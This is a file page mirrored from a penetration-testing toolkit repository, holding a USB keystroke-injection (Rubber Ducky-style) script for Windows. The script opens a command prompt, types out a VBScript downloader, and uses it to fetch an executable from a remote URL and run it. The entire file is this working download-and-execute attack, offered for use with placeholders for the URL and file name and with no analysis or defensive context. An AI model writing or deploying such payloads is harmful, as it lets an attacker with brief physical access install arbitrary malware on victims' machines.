mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-05-01 22:36:05 -04:00
35 lines
No EOL
1.1 KiB
Text
35 lines
No EOL
1.1 KiB
Text
Opens the command prompt (not as administrator) creates a VBscript to download a file from any URL. Downloads a file and executes it. Useful for downloading small .exe files from a web server and executing them.
|
|
|
|
ESCAPE
|
|
CONTROL ESCAPE
|
|
DELAY 400
|
|
STRING cmd
|
|
DELAY 400
|
|
ENTER
|
|
DELAY 400
|
|
STRING copy con download.vbs
|
|
ENTER
|
|
STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/")))
|
|
ENTER
|
|
STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send()
|
|
ENTER
|
|
STRING If objXMLHTTP.Status = 200 Then
|
|
ENTER
|
|
STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open
|
|
ENTER
|
|
STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0
|
|
ENTER
|
|
STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a
|
|
ENTER
|
|
STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing
|
|
ENTER
|
|
STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing
|
|
ENTER
|
|
CTRL z
|
|
ENTER
|
|
STRING cscript download.vbs <INSERT URL HERE>
|
|
ENTER
|
|
STRING <INSERT EXE FILENAME HERE>
|
|
ENTER
|
|
STRING exit
|
|
ENTER |